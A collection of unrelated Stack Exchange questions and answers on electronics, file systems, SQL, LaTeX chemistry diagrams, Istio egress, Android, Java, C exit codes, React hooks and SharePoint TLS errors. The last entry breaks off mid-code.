text:
Q: Why is the gain of an integrator built using op-amp -Rf/R1 till cut-off frequency
As you can see the gain is constant for the practical op-amp, even though gain is

This shows that it clearly changes for every frequency. Is the one in the graph an approximation, maybe because it does not change much below cut-off frequency ?

A: You have confused yourself by labeling your graph with frequency = 0 at the vertical axis.
The response of the integrator is a straight line only on a log-log graph, which means that 0 frequency (DC) is infinitely far away on the left side of the graph. What does this imply about the gain of an ideal integrator at DC?
But your circuit does have a definite value for DC gain. What is it, and at what frequency does it begin to deviate from that value?


text:
Q: Maximum volume size of NTFS I was going through this Microsoft's link, and under NTFS section I have found the following information.
NTFS:  Maximum Volume size:  power(2,64) on disk format and power(2,32) on implemetation. What does this mean?
Secondly, on the same website it is mentioned 2TB as the maximum volume size of the NTFS file system. If that is the case, how are the new harddisks in the market of size>2TB accessed/formatted?

A: 2^32 is the number of allocation units (clusters) supported in the volume, which can be as large as 64KiB, meaning 256TiB volumes are the maximum supported NTFS volume size.
The note about 2TiB is specifically in relation to 512B sectors using MBR partition tables, which has the same quantity limit. They do not say that there, but that is what it means. That article was written 15 years ago, and a lot has changed. Drives now generally support 4K sectors (Advanced Format), and newer operating systems use GUID partition tables (GPT) which support much larger physical drives and distributed file storage devices, way past the 256TiB range.

redpajama_set_name: RedPajamaStackExchange


text:
Q: WSL: No network whatsoever I have WSL2 and it was working fine, then seemingly overnight it has no network access. ifconfig returns nothing (blank line)
I have now uninstalled and reinstalled it (20.04) and I have the same problem. I also tried installing Debian which also has no network.
I have tried running this that I found on a help thread, but it doesn't work:
wsl --shutdown
netsh winsock reset
netsh int ip reset all
netsh winhttp reset proxy
ipconfig /flushdns
netsh winsock reset
shutdown /r

A: Thanks, @NotTheDr01ds. So, decompressing the appdata/local/packages entry was not enough, but when I decompressed the whole user directory, the networking works again.


text:
Q: Combine CREATE TABLE, ADD COLUMNS, PRIMARY KEY, AS SELECT, and WHERE into one operation I need to create a copy of a table (if it does not already exist), and this copy needs one of the existing columns to become a primary key.
Currently I have the following SQL commands (in a Python script):
CREATE TABLE IF NOT EXISTS FilteredTable AS SELECT * FROM RawTable WHERE <cond>

ALTER TABLE FilteredTable ADD COLUMN IF NOT EXISTS (NewCol1 TEXT, etc TEXT)

ALTER TABLE FilteredTable ADD PRIMARY KEY (ColumnNameFromRaw)

This works fine the first time around, but of course when run again after the table already exists it complains that a primary key already exists.  Is there a way to combine the ADD PRIMARY KEY with the CREATE TABLE ... command so that it only attempts to set the primary key when the table needs to be created?
EDIT
Python code can be used.
SQL: 10.1.23-MariaDB
Python: 2.7

A: You can add extra columns and indexes in the CREATE TABLE command even when coming from a SELECT.  So do it all in one step:
CREATE TABLE IF NOT EXISTS FilteredTable (
    NewCol1 TEXT, etc TEXT,
    PRIMARY KEY (ColumnNameFromRaw)
) AS SELECT * FROM RawTable WHERE <cond>

Note:  the column names are matched up by name.  That is, if * has a NewCol1, it will go into that TEXT column.  If not, then NewCol1 will be empty.

A: This isn't quite as clean as a purely SQL solution, but it works in the event that you're accessing SQL indirectly like so...
# ...
# (New table creation)
# ...

# Display column data for specified table
curs.execute("SHOW COLUMNS FROM NewTable")
# Collect the data as a tuple of tuples containing chart rows
colsNew = curs.fetchall()
# Iterate through each table column (row in the chart)
for col in colsNew:
    # Check to see if Key is not "PRI" for the Field (Column) "DesiredColumn"
    if (col[0] == "DesiredColumn") and (col[3] != "PRI"):
        # Make DesiredColumn the primary key
        curs.execute("ALTER TABLE NewTable ADD PRIMARY KEY (DesiredColumn)")


text:
Q: Resonance structure of acetate I need to draw a scheme to show the stabilization of the acetate ion by resonance and I'm going crazy :-(
I started using chemfig not so long ago and it seems that I need a lot more practice! In the meanwhile, can anybody help me solve the problem?
I would like something like this
But I failed already by adding the first arrow :-(
\documentclass{article}
\usepackage{chemfig}
\begin{document}
\schemestart
\chemfig{R-C(=[1]{@{a1}\lewis{2:0:,O}})[@{db}](-[7]{\lewis{0:4:6:,{\chemabove{O}{\scriptstyle\hspace{3mm}\ominus}}}})}
\arrow{<->}
\chemfig{R-C(=[1]{\lewis{2:0:,O}})(-[7]{\lewis{0:4:6:,{\chemabove{O}{\scriptstyle\hspace{3mm}\ominus}}}})}
\arrow{<->}
\chemfig{R-C(=[1]{\lewis{2:0:,O}})(-[7]{\lewis{0:4:6:,{\chemabove{O}{\scriptstyle\hspace{3mm}\ominus}}}})}
\schemestop
\chemmove{\draw(db).. controls +(100:5mm) and +(145:5mm).. (a1);}
\end{document}

A: Probably something like this?

\documentclass[
    crop,
    border=5,
    tikz=true,
    multi={page},
    12pt
]{standalone}
\usepackage{amsmath}
\usepackage{amssymb}
\usepackage{amsfonts}
\usepackage{mathtools}
\usepackage{chemmacros}
\chemsetup{
    modules = all,
}
\usepackage{chemfig}
    \setchemfig{
        angle increment = 15,
        atom sep = \bndlen,
        bond offset = 0.5pt,
        double bond sep = 3pt,
        compound sep = 5.0em,
        arrow coeff = 1,
        arrow offset = 12pt,
        scheme debug = false,
        bond join = true,
        chemfig style={line width=\lnwidth},
        arrow style={line width=\lnwidth},
    }

\newcommand{\bndlen}{2.0em}
\newcommand{\lnwidth}{0.7pt}

\begin{document}

\begin{page}
\schemestart
    \chemleft{[}
    \subscheme{
        \chemfig{
            CH_3
            -C
            (-[::-45]\lewis{1:5:7:,O}\rlap{\color{purple}{${\ }^-$}})
            =[@{b1}::45]@{o1}\lewis{1:3:,O}
        }
        \arrow{<->}
        \chemfig{
            CH_3
            -C\rlap{\color{teal}{${}^+$}}
            (-[@{b2}::-45]\lewis{1:5:7:,O}@{o2}\rlap{\color{purple}{${\ }^-$}})
            -[::45]\lewis{1:3:7:,O}\rlap{\color{purple}{${\ }^-$}}
        }
        \arrow{<->}
        \chemfig{
            CH_3
            -C
            (=[::-45]\lewis{5:7:,O})
            -[::45]\lewis{1:3:7:,O}\rlap{\color{purple}{${\ }^-$}}
        }
        \chemmove{
            \draw[shorten <=3pt,shorten >=1pt,purple](b1)..controls +(-15:10mm) and +(-30:5mm)..(o1);
            \draw[shorten <=3pt,shorten >=1pt,purple](o2)..controls +(90:5mm) and +(45:5mm)..(b2);
        }
    }
    \chemright{]}
\schemestop
\end{page}

\end{document}

Also, if you are after a picture-perfect replica, note that the font family used in your illustration is most likely proprietary ITC New Baskerville.
In order to use it, you have to obtain the font or use a free alternative from The LaTeX Font Catalogue; it would be easier to compile with XeLaTeX at this point.

A: Here are two possible version of the first reaction step with two variants of the arrow. The exact parameters might however still need some fine tuning.

\documentclass{article}
\usepackage{chemfig}
\begin{document}
\schemestart
\chemfig{R-C(=[@{db}1]{@{a1}\lewis{2:0:,O}})(-[7]{\lewis{0:4:6:,{\chemabove{O}{\scriptstyle\hspace{3mm}\ominus}}}})}
\schemestop
\chemmove{\draw(db).. controls +(100:5mm) and +(145:5mm).. (a1);}

\vspace{1.5cm}

\schemestart
\chemfig{R-C(=[@{db}1]{@{a1}\lewis{2:0:,O}})(-[7]{\lewis{0:4:6:,{\chemabove{O}{\scriptstyle\hspace{3mm}\ominus}}}})}
\schemestop
\chemmove{\draw[shorten <=4pt,shorten >=4pt](db).. controls +(10:5mm) and +(-10:10mm).. (a1);}
\end{document}

With color:
\documentclass{article}
\usepackage{chemfig}
\begin{document}
\schemestart
\chemfig{R-C(=[@{db}1]{@{a1}\lewis{2:0:,O}})(-[7]{\lewis{0:4:6:,{\chemabove{O}{\scriptstyle\hspace{3mm}\color{red}\ominus}}}})}
\schemestop
\chemmove{\draw[shorten <=4pt,shorten >=4pt, color=red](db).. controls +(10:5mm) and +(-10:10mm).. (a1);}
\end{document}


text:
Q: Does Istio really can't perform filter HTTPS requests based on the destination domains? I've read this article about TLS Origination problem in istio. Let me quote it here:

There is a caveat to this story. In HTTPS, all the HTTP details (hostname, path, headers etc.) are encrypted, so Istio cannot know the destination domain of the encrypted requests. Well, Istio could know the destination domain by the SNI (Server Name Indication) field. This feature, however, is not yet implemented in Istio. Therefore, currently Istio cannot perform filtering of HTTPS requests based on the destination domains.

I want to understand, what does the bold statement really mean? Because, I've tried this:

*

*Downloaded the
istio-1.0.0 here to get
the samples yaml code.

*kubectl apply -f <(istioctl kube-inject -f samples/sleep/sleep.yaml)

apiVersion: v1
kind: Service
metadata:
    name: sleep
    labels:
    app: sleep
spec:
    ports:
    - port: 80
    name: http
    selector:
    app: sleep
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
    name: sleep
spec:
    replicas: 1
    template:
    metadata:
        labels:
        app: sleep
    spec:
        containers:
        - name: sleep
        image: tutum/curl
        command: ["/bin/sleep","infinity"]
        imagePullPolicy: IfNotPresent

*

*And apply this ServiceEntry

apiVersion: networking.istio.io/v1alpha3
kind: ServiceEntry
metadata:
    name: cnn
spec:
    hosts:
    - "*.cnn.com"
    ports:
    - number: 80
    name: http-port
    protocol: HTTP
    - number: 443
    name: https-port
    protocol: HTTPS
    resolution: NONE

*

*And exec this curl command inside the pod

export SOURCE_POD=$(kubectl get pod -l app=sleep -o jsonpath={.items..metadata.name})
kubectl exec -it $SOURCE_POD -c sleep -- curl -s -o /dev/null -D - https://edition.cnn.com/politics
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
x-servedByHost: ::ffff:172.17.128.31
access-control-allow-origin: *
cache-control: max-age=60
content-security-policy: default-src 'self' blob: https://*.cnn.com:* http://*.cnn.com:* *.cnn.io:* *.cnn.net:* *.turner.com:* *.turner.io:* *.ugdturner.com:* courageousstudio.com *.vgtf.net:*; script-src 'unsafe-eval' 'unsafe-inline' 'self' *; style-src 'unsafe-inline' 'self' blob: *; child-src 'self' blob: *; frame-src 'self' *; object-src 'self' *; img-src 'self' data: blob: *; media-src 'self' data: blob: *; font-src 'self' data: *; connect-src 'self' *; frame-ancestors 'self' https://*.cnn.com:* http://*.cnn.com https://*.cnn.io:* http://*.cnn.io:* *.turner.com:* courageousstudio.com;
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
Via: 1.1 varnish
Content-Length: 1554561
Accept-Ranges: bytes
Date: Wed, 08 Aug 2018 04:59:07 GMT
Via: 1.1 varnish
Age: 105
Connection: keep-alive
Set-Cookie: countryCode=US; Domain=.cnn.com; Path=/
Set-Cookie: geoData=mountain view|CA|94043|US|NA; Domain=.cnn.com; Path=/
Set-Cookie: tryThing00=3860; Domain=.cnn.com; Path=/; Expires=Mon Jul 01 2019 00:00:00 GMT
Set-Cookie: tryThing01=4349; Domain=.cnn.com; Path=/; Expires=Fri Mar 01 2019 00:00:00 GMT
Set-Cookie: tryThing02=4896; Domain=.cnn.com; Path=/; Expires=Wed Jan 01 2020 00:00:00 GMT
X-Served-By: cache-iad2150-IAD, cache-sin18022-SIN
X-Cache: HIT, MISS
X-Cache-Hits: 1, 0
X-Timer: S1533704347.303019,VS0,VE299
Vary: Accept-Encoding

As you can see, I can access the edition.cnn.com with HTTPS (ssl) protocol. Am I misunderstand the bold statement meaning?

A: The cited blog post is from January 31, 2018, and the statement was correct then. Now (1.0) Istio supports traffic routing by SNI, see https://istio.io/docs/tasks/traffic-management/egress/.
This reminds me to update that blog post, will do it by the end of this week. Sorry for the confusion, thank you for pointing to the issue.

A: What you're showing here is an https connection/request, and that has no reason not to work. Filtering in this case means taking a specific action (ie. deny access) based on the destination Host in http terms (the one that makes hosting multiple sites on the same server IP possible) and that is what that statement refers to.
SNI is the way to identify what Host you're connecting to, before TLS connection is established.


text:
Q: Button not disappearing with setVisibility(View.GONE) I am displaying a go to top button on scroll up on a RecyclerView. If user scrolls up the button is displayed.
Here is the xml code which is nested in a RelativeLayout.
<android.support.v7.widget.RecyclerView
    android:id="@+id/userFeedsRecyclerView"
    android:layout_width="match_parent"
    android:layout_height="wrap_content"/>

<Button
    android:id="@+id/btn_goto_top"
    android:layout_width="30dp"
    android:layout_height="30dp"
    android:text="@string/icon_up_arrow"
    android:layout_alignParentBottom="true"
    android:layout_marginBottom="20dp"
    android:visibility="gone"
    android:textSize="10sp"
    android:layout_centerHorizontal="true"
    android:background="@drawable/round_button"/>

Here is the java code
btnGotoTop = (Button) findViewById(R.id.btn_goto_top);
    Const.setTypeFace(btnGotoTop, getApplication());
    btnGotoTop.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View view) {
            userFeedsRecyclerView.smoothScrollToPosition(0);
            view.setVisibility(View.GONE);
        }
    });

    userFeedsRecyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() {
        @Override
        public void onScrollStateChanged(RecyclerView recyclerView, int newState) {
            super.onScrollStateChanged(recyclerView, newState);
        }

        @Override
        public void onScrolled(RecyclerView recyclerView, int dx, int dy) {
            super.onScrolled(recyclerView, dx, dy);
            if(dy < 0){
                btnGotoTop.setVisibility(View.VISIBLE);
            }
            else{
                btnGotoTop.setVisibility(View.GONE);
            }
        }
    });

Inside the onClick() method of btnGotoTop, the RecyclerView scrolls to the top properly but the button does not disappear.
I tried changing view.setVisibility(View.GONE) to btnGotoTop.setVisibility(View.GONE) but the button is displayed even after scrolling is complete.

A: Your condition is wrong. You are making button visible on scrolling but you want to show only when its down.
change this
if(dy < 0){
            btnGotoTop.setVisibility(View.VISIBLE);
        }
        else{
            btnGotoTop.setVisibility(View.GONE);
        }

to
if(dy > 0){
            btnGotoTop.setVisibility(View.VISIBLE);
        }
        else{
            btnGotoTop.setVisibility(View.GONE);
        }

A: Try this, I also recommend you to use floating action button here. I created a simple project in case you wanna have a look for recylerView with FloatingActionButton with same functionality required. Link.
    public void onScrolled(RecyclerView recyclerView, int dx, int dy) {
        super.onScrolled(recyclerView, dx, dy);
           if (dy > 0 && btnGotoTop.getVisibility() == View.VISIBLE)
           {
                    btnGotoTop.hide();

           } else if (dy < 0 && btnGotoTop.getVisibility() != View.VISIBLE)
           {
                    btnGotoTop.show();
           }

    }
});

A:  private boolean IsRecyclerViewAtTop(){
    if (userFeedsRecyclerView.getChildCount() == 0)
        return true;
    return userFeedsRecyclerView.getChildAt(0).getTop() == 0;
}

userFeedsRecyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() {
            @Override
            public void onScrollStateChanged(RecyclerView recyclerView, int newState) {
                super.onScrollStateChanged(recyclerView, newState);
                if (IsRecyclerViewAtTop())
                {
                    btnGotoTop.setVisibility(View.GONE);
                }
            }

            @Override
            public void onScrolled(RecyclerView recyclerView, int dx, int dy) {
                super.onScrolled(recyclerView, dx, dy);
                if (dy < 0 && btnGotoTop.getVisibility()==View.GONE) {
                    btnGotoTop.setVisibility(View.VISIBLE);
                } else if (dy > 0 && btnGotoTop.getVisibility()==View.VISIBLE){

                    btnGotoTop.setVisibility(View.GONE);
                }
            }
        });

Use IsRecyclerViewAtTop method to find out if recycler view scrolled to top and call it is onScrollStateChanged method.

A: Here is how I solved it. Changed visibility of button in onScrollStateChanged() of RecyclerView's  OnScrollListener
btnGotoTop.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(final View view) {
            userFeedsRecyclerView.smoothScrollToPosition(0);
            view.setVisibility(View.GONE);
            headerAppBarLayout.setExpanded(true);
        }
    });

private boolean isUserFeedRecyclerViewAtTop(){

    int numColumns = 2;
    int pos[] = new int[numColumns];
    ((StaggeredGridLayoutManager)(userFeedsRecyclerView.getLayoutManager())).findFirstCompletelyVisibleItemPositions(pos);
    return pos[0] == 0;
}

userFeedsRecyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() {
        @Override
        public void onScrollStateChanged(RecyclerView recyclerView, int newState) {
            super.onScrollStateChanged(recyclerView, newState);
            switch (newState){
                case RecyclerView.SCROLL_STATE_IDLE:
                    if(isUserFeedRecyclerViewAtTop()) {
                        btnGotoTop.setVisibility(View.GONE);
                    }
                    break;
                case RecyclerView.SCROLL_STATE_DRAGGING:
                    break;
                case RecyclerView.SCROLL_STATE_SETTLING:
                    break;
            }
        }

        @Override
        public void onScrolled(RecyclerView recyclerView, int dx, int dy) {
            super.onScrolled(recyclerView, dx, dy);

            if(dy < 0 && btnGotoTop.getVisibility() == View.GONE){
                btnGotoTop.setVisibility(View.VISIBLE);
            }
            else if (dy > 0 && btnGotoTop.getVisibility() == View.VISIBLE){
                btnGotoTop.setVisibility(View.GONE);
            }
        }
    });


text:
Q: Remove element from ArrayList using user input and iterator I need to remove an element from an ArrayList, based on the user input. So what I have is an ArrayList where a user can register dogs. Then if the user wants to remove a dog, he/she should be able to do it by using the command "remove dog" followed by the name of the dog.
I have tried using an iterator, but when using it only the else statement is used and "Nothing has happened" is printed out on the screen.
import java.util.Iterator;
import java.util.Scanner;
import java.util.ArrayList;

public class DogRegister {
    ArrayList<Dog> dogs = new ArrayList<>();

    private Scanner keyboard = new Scanner(System.in);

    public static void initialize() {
        System.out.println("Welcome to this dog application");
    }

    private boolean handleCommand(String command) {
        switch (command) {
            case "One":
                return true;
            case "register new dog":
                registerNewDog();
                break;
            case "increase age":
                increaseAge();
                break;
            case "list dogs":
                listDogs();
                break;
            case "remove dog":
                removeDog();
                break;
            default:
                System.out.println("Error: Unknown command");
        }
        return false;
    }

    private void registerNewDog() {
        System.out.print("What is the dog's name? ");
        String dogNameQuestion = keyboard.nextLine().toLowerCase().trim();

        System.out.print("Which breed does it belong to? ");
        String dogBreedQuestion = keyboard.nextLine().toLowerCase().trim();

        System.out.print("How old is the dog? ");
        int dogAgeQuestion = keyboard.nextInt();

        System.out.print("What is its weight? ");
        int dogWeightQuestion = keyboard.nextInt();

        keyboard.nextLine();

        Dog d = new Dog(dogNameQuestion, dogBreedQuestion, dogAgeQuestion,
dogWeightQuestion);
        dogs.add(d);

        System.out.println(dogs.get(0).toString());
    }

private void removeDog() {
        System.out.print("Enter the name of the dog ");
        String removeDogList = keyboard.nextLine();
        for (Iterator<Dog> dogsIterator = dogs.iterator();
dogsIterator.hasNext();) {
            if (removeDogList.equals(dogsIterator)) {
                System.out.println("The dog has been removed ");
                break;
            } else {
                System.out.println("Nothing has happened ");
                break;
            }
        }
    }

    public void closeDown() {
        System.out.println("Goodbye!");
    }

    public void run() {
        initialize();
        runCommandLoop();
    }

    public static void main(String[] args) {
        new DogRegister().run();
    }
}

A: You compare a String will an Iterator as said by JB Nizet :
if (removeDogList.equals(dogsIterator)) {

It will never return true.
Besides even invoking next() on the iterator will not solve the problem as a String cannot be equal to a Dog object either.
Instead of, compare String with String when you use equals() and invoke Iterator.remove() to effectively remove the current iterated element.
That should be fine :
private void removeDog() {
    System.out.print("Enter the name of the dog ");
    String removeDogList = keyboard.nextLine();

    for (Iterator<Dog> dogsIterator = dogs.iterator();dogsIterator.hasNext();) {
        Dog dog = dogsIterator.next();
        if (removeDogList.equals(dog.getName())) {
            dogsIterator.remove();
            System.out.println("The dog has been removed");
            return;
        }
     }

     System.out.println("Nothing has been removed");
}

A: An Iterator<Dog> can't possibly be equal to a String: they don't even have the same type.
Only a String can be equal to a String.
You want to get the next value of the iterator, which is a Dog. Then you want to compare the name of the dog with the String input.
And then you want to remove the dog, using the iterator's remove() method. Read the javadoc of Iterator.


text:
Q: Return in C and C++ So I have been coding in C for a while now, but one thing that still confuses me is the "return" at the end of functions.
Now I know that return is the value, which a function returns when called by main.
But what does "return 0" mean in main() function of C? I also did the following-
#include <stdio.h>

int main()
    {
       printf("Hello world");
       return 0;
    }

And then, I did this-
#include <stdio.h>

int main()
    {
       printf("Hello world";
       return -1;
    }

And then I finally did this-
#include <stdio.h>

int main()
    {
       printf("Hello world";
       return 45;
    }

They all compile fine and run, but what do these "return" do in each case of the above code. Please explain in detail about this return and what happens in these 3 cases.

A: The return value from the main function is the exit value of the program.  The process that calls your program can retrieve this exit value.
First a shell example:
./myprogram
exitvalue=$?
echo exitvalue = $exitvalue

And this will print 0 for the first program and 45 for the third.  The second program will probably print 255 because the exit status is on most operating systems expected to be between 0 and 255.

A: For bash scripts or programs running from the command line (Linux & Unix), these are common exit codes (the return value from the main function in this case, or from calling exit()).
0 - OK
1 - Catchall for general errors
2 - Misuse of shell builtins (according to Bash documentation)
126 - Command invoked cannot execute
127 - "command not found"
128 - Invalid argument to exit
128+n - Fatal error signal "n"
130 - Script terminated by Control-C
255\* - Exit status out of range


text:
Q: Misconceptions about the React's useEffect hook I started lately adopting the React Hook approach for some of my side projects. I have got my self acquainted with most of the theoretical stuff around hooks and what they could bring to the table in terms of reusability, abstraction and performance.
What really caught my interest is the useEffect hook. I couldn't really get my head around it, especially that I am coming from calss-based component pattern.
I think an answer to my question below will help me  have a good grasp of how this hook is designed under the hood and how it's intended to work. So please any answer/advice is appreciated.
Here we go:
Topic: 1 useEffect VS multiple useEffects:

*

*Besides separation of concerns what's the added value of using multiple useEffects?

*Couldn't we just use one useEffect hook all over the component and within it we check if our variable has changed or not? This way we will eliminate the overhead of using another custom hook
i.e: useeffect with deep comparison since now our comparison is
happening inside the hook itself and we could leverage deep
comparison with defining an other hook.

Basically we will be entering useEffect with every re-render and our block of IFs will take care of either initiating the appropriate side effect or not, meaning no loss of performance here since we are not going to execute not needed code.
What I am referring to could be designed this way:
   useEffect(() => {
        if (!_.isEqual(previousStateObject1, stateObject1)){
            // Do something
        }
        if (!_.isEqual(previousStateObject3, stateObject2)){
            // Do something
        }
        if (!_.isEqual(previousStateObject4, stateObject3)){
            // Do something
        }
        if (!_.isEqual(previousStateObject4, stateObject4)){
            // Do something
        }
        ...
   });
//Note: Let's assume that we always have reference to any previous object i.e: previousStateObject1, previousStateObject2 ...

Is there anything wrong with this approach? What could be the alternative and how to deal with the deep comparison issue?
I believe we can ask the question differently:
What's the tradeoff of using a bunch of IFs to control when an action within useEffect should be triggered or not versus relaying on the dependancy array to tell when the hook should be triggered or not?

A:
Besides separation of concerns  what's the added value of using multiple useEffects?

Don't discount the value of separating concerns to aid maintainability of code.
That said, if you have multiple useEffect hooks then they can have different sets of dependencies, so you don't run code that doesn't need to run when one of the dependencies changes.

Couldn't we just use one useEffect hook all over the component and within it we check if our variable has changed or not?

Basically we will be entering useEffect with every re-render and our block of IFs will take care of either initiating the appropriate side effect or not, meaning no loss of performance here since we are not going to execute not needed code.

Except you are. Now you have two checks for the same thing.
The hook is checking to see if any of the dependencies have changed, and then you have your own checks to see which of them have changed.

What could be the alternative and how to deal with the deep comparison issue?

To not set a state object if you're setting it to be a clone of the previous value.

A: It would be theoretically possible, but verbose and confusing, because of this line:
if (!_.isEqual(previousStateObject1, stateObject1)){

Having and using the current state is natural and easy.
Having and using the previous state is not - you'll need a ref and another effect hook.

what's the added value of using multiple useEffects?

It's easier to make sense of, I think. When I see [someVar] I know "So this runs exactly when someVar changes, and nothing else." In comparison, if one sees [stateObject1, stateObject2, stateObject3, stateObject4] in the dependency array, it'll probably be a lot more difficult to determine at a glance what the script-writer intended for that effect to do.

meaning no loss of performance here since we are not going to execute not needed code.

98% of the time, performance is not an issue worth worrying about for a given section of code. If you find that something isn't running as fast as desired, run a performance test and check what's taking the most resources, and fix that area. Trying to optimize for performance everywhere regardless of that section's effect on the application as a whole will take a whole lot more time, and will result in code that's more difficult to understand; it's often not worth it.


text:
Q: Как перейти на другое activity через нажатие CardView? Всем привет ! Хочу перейти на другое активити через нажатие элемента CardView.
На одном активити я создал 3 cardview без использования RecyclerView, потому что на этой активити мне нужны всего лишь 3 кнопки.
Я создавал кнопку с айдишкой карточки, только приложение вылетало. Что делать?
Вот джава код
public class CpuActivity extends AppCompatActivity {
Button myArduino;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_cpu);
myArduino = (Button) findViewById(R.id.cv1);
myArduino.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
Intent intentLoadArduinoActivity = new Intent(CpuActivity.this,
ArduinoActivity.class);
startActivity(intentLoadArduinoActivity);
}
});
}
}

вот хмл код
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent" android:layout_height="match_parent"
android:orientation="vertical"
android:padding="16dp">

<android.support.v7.widget.CardView
 android:id="@+id/cv1"
 android:layout_width="match_parent"
 android:layout_height="wrap_content">

 <RelativeLayout
  android:layout_width="match_parent"
  android:layout_height="wrap_content"
  android:padding="16dp">

<ImageView
android:layout_width="100sp"
android:layout_height="100sp"
android:layout_alignParentLeft="true"
   android:layout_alignParentTop="true"
                android:src="@drawable/arduino"
                android:id="@+id/imageView3" />

            <TextView
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:textSize="50sp"
                android:text="Arduino"
                android:textColor="@color/cardview_dark_background"
                android:layout_below="@+id/person_age"
                android:layout_alignParentRight="true"
                android:layout_alignParentEnd="true"
                android:layout_marginRight="11dp"
                android:layout_marginEnd="11dp" />

            <TextView
                android:id="@+id/person_age"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:layout_below="@+id/person_name"
                android:layout_toRightOf="@+id/person_photo" />
        </RelativeLayout>
    </android.support.v7.widget.CardView>

    <android.support.v7.widget.CardView
        android:id="@+id/cv2"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginTop="36dp">

        <RelativeLayout
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:padding="16dp">

            <ImageView
                android:layout_width="100sp"
                android:layout_height="100sp"
                android:layout_alignParentLeft="true"
                android:layout_alignParentTop="true"
                android:src="@drawable/vex"
                android:id="@+id/imageView" />

            <TextView
                android:id="@+id/person_name"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:textSize="60sp"
                android:text="VEX"
                android:textColor="@color/cardview_dark_background"
                android:layout_centerVertical="true"
                android:layout_alignParentRight="true"
                android:layout_alignParentEnd="true"
                android:layout_marginRight="47dp"
                android:layout_marginEnd="47dp" />

            <TextView
                android:id="@+id/person_age"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:layout_below="@+id/person_name"
                android:layout_toRightOf="@+id/person_photo" />
        </RelativeLayout>
    </android.support.v7.widget.CardView>

    <android.support.v7.widget.CardView
        android:id="@+id/cv3"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginTop="36dp">

        <RelativeLayout
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:padding="16dp">

            <ImageView
                android:layout_width="100sp"
                android:layout_height="100sp"
                android:layout_alignParentLeft="true"
                android:layout_alignParentTop="true"
                android:src="@drawable/legoev3" />

            <TextView
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:textSize="60sp"
                android:text="LEGO"
                android:textColor="@color/cardview_dark_background"
                android:layout_below="@+id/person_age"
                android:layout_alignParentRight="true"
                android:layout_alignParentEnd="true"
                android:layout_marginRight="34dp"
                android:layout_marginEnd="34dp" />

            <TextView
                android:id="@+id/person_age"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:layout_below="@+id/person_name"
                android:layout_toRightOf="@+id/person_photo" />

 </RelativeLayout>
    </android.support.v7.widget.CardView>
</LinearLayout>

A: У вас ClassCastException. В разметке у вас CardView, а вы пытаетесь его скастовать к Button.
Вам надо указывать в Java коде тот же класс, который используется в разметке. Т.е. вместо
Button myArduino;
myArduino = (Button) findViewById(R.id.cv1);

Должно быть
CardView myArduino;
myArduino = (CardView) findViewById(R.id.cv1);

A: у тебя R.id.cv1 привязано к CardView, а не кнопке.
попробуй сделать так:
CardView myArduino = (CardView) findViewById(R.id.cv1);
myArduino.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
Intent intentLoadArduinoActivity = new Intent(CpuActivity.this,
ArduinoActivity.class);
startActivity(intentLoadArduinoActivity);
}
});


text:
Q: Tomcat Ha conditional start of slave node I am in a need of setting tomcat high availability but it's bit different than normal HA. I used a approach which is a combination of haproxy with hearbeat and it's running perfectly fine as desired.
Now my problem is I can't keep both of the tomcat instance running at the same time because once started the tomcat starts some runnable threads that keep communicating with specific network devices connected to the network, it then reads the data from network devices and store it into the database. If i keep both the tomcat running they will be running same workflow twice.
Any idea will be helpfule.
Thanks


text:
Q: Unable to provision Secure Store Service Application SharePoint 2013. I get TLS related error I am Unable to provision Secure Store Service Application for SharePoint 2013. I get TLS related error. Below is the error:
Logging unknown/unexpected client side exception: SecurityNegotiationException. This will cause this application server to be removed from the load balancer queue. Exception: System.ServiceModel.Security.SecurityNegotiationException: Could not establish secure channel for SSL/TLS with authority 'sm000000:32844'. ---> System.Net.WebException: The request was aborted: Could not create SSL/TLS secure channel.     at System.Net.HttpWebRequest.GetRequestStream(TransportContext& context)     at System.Net.HttpWebRequest.GetRequestStream()     at System.ServiceModel.Channels.HttpOutput.WebRequestHttpOutput.GetOutputStream()     --- End of inner exception stack trace ---    Server stack trace:      at System.ServiceModel.Channels.HttpOutput.WebRequestHttpOutput.GetOutputStream()     at System.Serv...                f968df9e-3ece-009d-d25e-28f479736e4a

A: There a blog about configuring Secure Store Service Application, you can check it with your steps.
How To Configure Secure Store Service Application In SharePoint
If this issue still exists, you could provide your steps to analysis this issue further.

A: I was able to resolve this issue by enableing SharePoint support for TLS 1.1 and 1.2 by following Enable TLS and SSL support in SharePoint 2013 article.


text:
Q: "Active program deployed, board may require restarting" I am using the STM32L476RG MCU, whenever I try running any code the notification "Active program deployed, board may require restarting". I have tried hitting the reset button on the NUCLEO board as well as unplugging the board but the same issue prevails. Any advice/ tips much appreciated.
I am using MBED version (1.4.3.1).


text:
Q: Xamarin Forms: How to Change Navigation Title Font Family for Android? I'm working on a Xamarin Forms project using AppShell and Flyout. I want to change the font family of the navigation title. I tried to find ways to do it but unfortunately I could not solve this issue. One of my attempt from online solutions is to use a custom render using the code below. It gives me a warning that the NavigationPageRendereris Obsolete and when I run it, I get an exception. Please help me find a way to change the navigation title font family.
Custom Render:
[assembly: ExportRenderer(typeof(AppShell), typeof(CustomNavigationPageRenderer))]
namespace MyApp.Droid.CustomRenderers
{
